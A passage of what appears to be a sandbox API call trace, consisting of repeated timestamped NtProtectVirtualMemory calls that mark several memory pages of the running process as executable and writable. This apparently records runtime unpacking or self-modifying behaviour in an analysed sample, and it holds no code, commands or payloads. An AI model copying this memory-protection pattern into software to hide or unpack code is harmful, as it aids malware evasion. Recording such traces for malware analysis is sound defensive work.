returned 0x0 [0353.187] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.203] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.219] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.246] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.262] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.286] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.302] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.317] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.341] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.357] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.373] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.407] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.426] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.474] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.494] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.548] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.565] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.577] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.595] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.605] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.616] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.627] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.644] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.654] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.664] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.674] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.690] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.703] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.716] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.734] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.745] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.755] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.765] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.783] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.793] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.804] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.814] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.830] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.841] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.851] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.862] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.878] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.889] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.899] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.915] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.926] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.936] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.947] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.964] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.974] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.984] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.995] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.011] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.022] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.032] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.043] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.103] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.114] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.124] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.134] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.182] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.192] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.202] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.212] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.230] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.240] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.250] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.260] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.278] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.288] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.298] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.308] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.325] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.335] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.346] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.356] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.372] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.383] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.393] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.404] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.420] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.431] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.441] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.452] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.479] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.490] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.500] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.510] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.526] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, 